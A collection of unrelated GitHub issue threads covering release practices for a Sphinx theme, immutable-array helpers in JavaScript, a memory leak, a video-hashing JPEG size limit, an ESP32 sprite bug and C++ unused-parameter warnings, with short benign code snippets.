@drammock - that's a great insight, I appreciate you sharing your experience here. I think we should aim for testing infrastructure that is robust enough to catch major regressions. That said, it's going to be hard to do this in some cases for the Javascript stuff, unless we also set up our own javascript testing infrastructure, which I don't think we have the developer expertise to maintain :-/
So a couple questions there:

Is there any low-hanging fruit you can think of in the current test / CICD infrastructure that would make you feel more confident in it in general?
Can we define some release practices that will intentionally slow down releases for certain kinds of features or changes, while allowing other kinds of changes to now slow things down too much?
Is there anything else you'd recommend adding to a release process to help balance the need to minimize toil and effort, against having a robust codebase?

Is there any low-hanging fruit you can think of in the current test / CICD infrastructure that would make you feel more confident in it in general?

CI jobs that run on Windows and macOS, that test setting up a dev environment and building a static copy of the docs. Looks like you've just started that in #533 (great!). Beyond that, the main problem I see is that a lot of the "testing" here is about making sure sphinx doesn't error out when trying to render all the different kinds of objects / markup; there isn't a subsequent step of checking to see if the rendering actually matches what was expected.  Instead, it relies on people looking at the rendered docs and visually checking that the results look right. I think something like selenium allows screenshotting and pixel-level comparisons (as well as scripted tests of things like menu behavior), but that's rapidly getting into high-hanging-fruit territory. Once set up I think (?) it would be fairly low maintenance, but there's a large start-up cost in developer time.

Can we define some release practices that will intentionally slow down releases for certain kinds of features or changes, while allowing other kinds of changes to now slow things down too much?

It's hard to know where to draw the line.  I'm inclined to say that "cosmetic" changes (like your recent PR to fix padding for site titles without a logo) should be fine... but changing the font size, padding, or flex behavior on main content divs could also be said to be "cosmetic" in some sense.  Maybe it would work to have a roster of a dozen projects that all use the theme, and have a policy that at least N of them need to test any "major" changes on their own sites before those changes get merged in?  GitHub's "require N PR approvals before merge" mechanism seems a natural choice here (with the understanding that approval should be preceded by the aforementioned test-on-your-own-project's-site step).  But PR approval requires being a member/maintainer, so that approach points to having several more maintainers than you currently have. Not sure how folks at pydata feel about that.
There might even be a way to create a CI job that automatically opened PRs into other projects, with the sole change in those other project's PRs being "install the theme from such-and-such a fork/branch and build the docs".  That way the other projects' maintainers only need to look at the resulting artifacts. You'd want to coordinate with their maintainers, of course (e.g. for MNE-Python we'd want the PR to skip CI jobs that test our codebase and only run the doc-building job, so it would need some [skip azp]-type of keywords in the commit message).
Ultimately though I'm not sure how to define a heuristic for which changes are "small" changes that don't need that level of QC, and which ones are "big" changes that should be slowed down.  It might need to be decided by maintainers in a triaging process when new issues/PRs get opened.

Is there anything else you'd recommend adding to a release process to help balance the need to minimize toil and effort, against having a robust codebase?

The best suggestion I can come up with for minimizing effort is to spread the burden around.  If you could convince one dev from each of the ten biggest theme consumers to agree to join as a maintainer, then you'd have a pool of people to ask for PR reviews or who could cut a release for you.
A second idea would be to have the triage/tagging process in place for "big" vs "small" changes, and have an extra release step for cases where there are "big" changes that have been merged in (e.g., before releasing, actually read through the kitchen-sink page carefully to make sure things are actually rendering correctly).  Or maybe the suggestion above about creating PRs into other projects to test how the theme changes affect them --- maybe that happens only at release time, instead of on every PR or even every "big" PR.  That approach could keep releases with only "small" changes quick and easy.

@damianavila and I brainstormed this a little bit today. We came up with a few ideas that we came up with that could help out here as well. Most of them are focused around automating things etc, because these seem like the most realistic ones to accomplish, given that we do not have a lot of ongoing dedicated resources.

Improve our testing infrastructure so that we're more confident that major bugs won't be introduced.
Improve the developer documentation and workflows so that we further reduce the amount of energy it takes to make a contribution, making it more likely that bugs will be squashed quickly.
Adopt the blocks-release issue label practice that was described above.
Add a "release candidate" step to our release processes for any new features that we ship (e.g. anything other than patch releases). This might be something like a one-week delay between when an RC is released and when it's ready for a full release.
Adding a few steps to the release process like "go to this page, scroll from top to bottom, ensure it looks as-expected, do actions A, B, C, ensure it behaves as expected"
Automate some kind of broadcasting when new releases are made (and in particular release candidates) so that downstream developers know to try out new versions. Not sure where is the right place to notify, however - maybe twitter?

maybe twitter?

Maybe, also the pydata mailing list?

@damianavila that's a good idea - though I am less knowledgeable about how to send an email via a github action than I am at sending a tweet via an action haha. I think we should lean heavily towards things we can automate, under the assumption that the more manual steps needed, the less likely they'll happen, or that a release will happen at all

A quick thought on release candidates, given the recent tension that popped up around an IPython release that shipped a feature that some people disagreed with:
I am not so sure that having a release candidate will surface many issues, unless we know that communities will actually use them. In the recent IPython problem, betas + release candidates were offered, but nobody actually used them or provided feedback so issues only came up when a proper release happened anyway.
So I am wondering - if we started using release candidates with this theme, would people actually use them and provide feedback? Do others have experience / intuition for this? I think the risk we take is that we'd add an extra manual / toil step to our release process, with limited benefit.

if we started using release candidates with this theme, would people actually use them and provide feedback?

we (MNE Python) have a CI job testing against RCs or even nightlies but at present I think we don't do that for doc building. I think we'd be willing to add a CI job for that but I'd have to run it by the team. I don't think anyone would have time to review the builds visually. But in principle we could at least test against RCs whether the build success or fails.

unless we know that communities will actually use them

We should encourage the communities to use it! And ask our communities to have some automated testing to at least catch big things when a release candidate is published.
One alternative is just a rolling-release process where we continuously (or on a frequent basis) publish new releases... but I would not bet on that sort of system for a "parental" theme like this one.


Best way to mutate immutables?

ImmutableJS sucked becauase of its overly verbose way to access data. But it had nice mutators.
If I'm using it properly, seamless-immutable relies on what methods return a new value, so we're missing a lot of how to mutate data.  Is there a cleaner way to push a new element onto an array? Currently I'm doing something like this:
    let updatedArray = this.state.arr.asMutable();
    updatedArray.push(newElement);
    this.setState({arr: new Immutable(updatedArray)});

I know it only answers to the specific case in your example, but how about:
this.setState({arr: this.state.arr.concat(newElement)})

Read more about concat at MDN.

Arrays are more difficult to work with using seamless-immutable than objects. I basically have to push new elements to immutable arrays using the approach @ablakey describes. It would be great if seamless-immutable supported something like push() and destroy() with arrays, just like it does with set() and without() for objects.

That's true, that delete would be useful, however the name doesn't seem safe - it can easily collide with reserved keyword. I would actually call it without.
In one of my projects I came up with this helper function:
remove_item = function(index, array) {
    return array.slice(0, index).concat(array.slice(index + 1));
};

Then you can remove 3rd item by calling:
arr = remove_item(2, arr)

I can make a PR to use it as a method of immutable array. What do you think, @rtfeldman ?
As for the push - is there anything wrong with concat?

Hm, yeah I can't say I'm on board with the idea of adding a redundant concat - I'd definitely recommend using concat for this!

To respond to the original suggestion: for object, yes concat works. I wasn't aware of it here and I'm happy with it.
The conversation has mutated (hah!)  to talking about arrays, so I'd like to +1 adding some methods that compensate for the fact that most of the valuable methods in Array.prototype mutate and are therefore not supported with seamless-immutable.
.without(fn) and maybe set(idx, value)  Are at the top of my wish list.
Happy to contribute if this is something you want to pursue.

Cool - this seems like a good resolution; I'm gonna close this issue, but feel free to open another to discuss specific feature requests!

Did this ever get implemented or discussed?


exception modules should be renamed

...or, we should develop some support to allow for importing of builtin modules with the same name. Details can be found here. As present, you cannot do:
import exceptions
try:
    foo.decode('ascii')
except exceptions.UnicodeDecodeError
   pass

As exceptions refers to the module in the package directory.

@wasade checking the code, I saw that we either do: from .exceptions ... or from qiita_[folder].exceptions ..., which do not overlap with from exceptions ..., does this suffice?

The namespace resolution is critical, and the semantic resolution is important


Memory leak in Almond server

I've had by Almond server running on Home Assistant for a few days, and it's now at 2.5G of RAM. This indicates a memory leak somewhere, which we should investigate.

Memory usage appears stable in my recent testing, I'm going to call this fixed.


Fix mouseEvent being ignored

Oh no, that comparison was entirely inverted. I've fixed it in attached patch and released 0.17.13


Prepare release v0.1.0

@ubruhin if you agree, I'll squash-merge & tag this as the v0.1.0 release.

LGTM, but probably fontobene.pro should be renamed to fontobene-qt5.pro before creating the release, since https://github.com/LibrePCB/LibrePCB/pull/699 currently fails...


Removed v1 details from the docs and updated to v2 zowe.yaml descript…

Describe your pull request here:
Fixes #2853
This removes from v1 instructions from the docs and updates them with v2 help instead

Thanks for the changes, look good to me.


Issue with /docs/user-guide/persistent-volumes/walkthrough/

On docs page: http://kubernetes.io/docs/user-guide/persistent-volumes/walkthrough/
When clicked on the link in doc saying:

You can view all the files for this example in the docs repo here.

When clicked on "here", it takes to https://github.com/kubernetes/kubernetes.github.io/tree/release-1.3/docs/user-guide/persistent-volumes which does not exist!

looks fixed


Long Video might fail to maketile due to the jpeg format

Problem:
When I try to get the hash of a long video (about 90 min), it turns out errors when making tile:
"encoder error -2 when writing image file" and
"Maximum supported image dimension is 65500 pixels".
My solution now:
Instead of just changing  the frame_interval to shorten the width, I found that it might be a limit of the jpeg format.
So the solution I am using is to change the default output of the function "make_tile" in "tilemaker.py" to png format:
save_tiles(tiles, prefix="tile", directory=tiles_dir, file_format="png")
Suggestion:
Now, there is no error. However, I am not sure if this will affect the hash value (as  generated with jpeg format), or if any confilct to any part of this lib.
As I notice the default parameter of "file_format" in th function "save_tiles" is already png, I am confused why the jpeg format is explictly given in the function "make_tile".
If there is no other problem, maybe using png as the default in "make_tile" is better considering some long videos?
Thank you!

I was aware of the limit of jpeg but didn't thought it would be an issue with the tiles, of course I'm wrong as longer video duration will not only result in a wider horizontally_concatenated_image.png but also generate wider tiles.
https://github.com/akamhy/videohash/blob/735d063a48487f8a2babb0a0305347ccfd61677c/videohash/videohash.py#L90-L93

^ Now, there is no error. However, I am not sure if this will affect the hash value (as generated with jpeg format), or if any confilct to any part of this lib.
It didn't affect the test cases, also even if it results in some pixel column in a different tile than in the jpeg codec it can't change the dominant colour.

That's good news.  Thank you!


Sprite layer can't be erased.

Changing the palette and redrawing on the sprite layer in mid program does not seem to work properly on ESP32.

When it writes to the screen it compares the palette index value not the actual value of that palette.

cls
solid = alloc(1):!solid = -1
blit 10,10,solid,&0808,&8040
palette 1,1,5
blit 12,12,solid,&0808,&8040

Changed so writing to palette invalidates the display ; if a blitter command occurs when the screen is invalid it redrwas the whole screen.


Add removing the name of the parameter or using [[maybe_unused]] as an alternative solution for C4100 warnings

There are a couple of cases where C4100 warnings are generated because the parameter is not used but the function prototype cannot be changed.
It seems that many people don't know the alternative solutions to fix C4100 "correctly" and often choose to disable C4100 globally, which is a pity as C4100 is a useful warning. It may be helpful to extend the sample code to show these alternative solutions:
Case 1:
implementing a virtual function or callback function, in which case not all parameters are used but the function prototype cannot be changed:
my_class : public base
{
void on_notify(int count) override {} // Triggers C4100
}

Solution: remove the name of the parameter. Comments are often used to show the original parameter name.
my_class : public base
{
void on_notify(int /* count */ ) override {}
}

Case 2:
The parameter is used in debug builds but not used in release builds:
void m_function(int count)
{
    assert(count >= 0);
}

Solution:
Use the C++17 attribute [[maybe_unused]] to mark the parameter.
void m_function([[maybe_unused]]  int count)
{
    assert(count >= 0);
}

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: aff5f8e3-be4c-3af7-cb5d-9a0c0017a222
Version Independent ID: 5f78d743-c527-95e8-367b-0eb0ba811ec5
Content: Compiler Warning (level 4) C4100
Content Source: docs/error-messages/compiler-warnings/compiler-warning-level-4-c4100.md
Product: visual-cpp
Technology: cpp-diagnostics
GitHub Login: @corob-msft
Microsoft Alias: corob

We are in the process of moving away from GitHub issues for C++ documentation (we still accept pull requests). For details, please see Announcing a new way to give feedback on Microsoft Learn This issue will be closed after it is copied to an internal tracking system.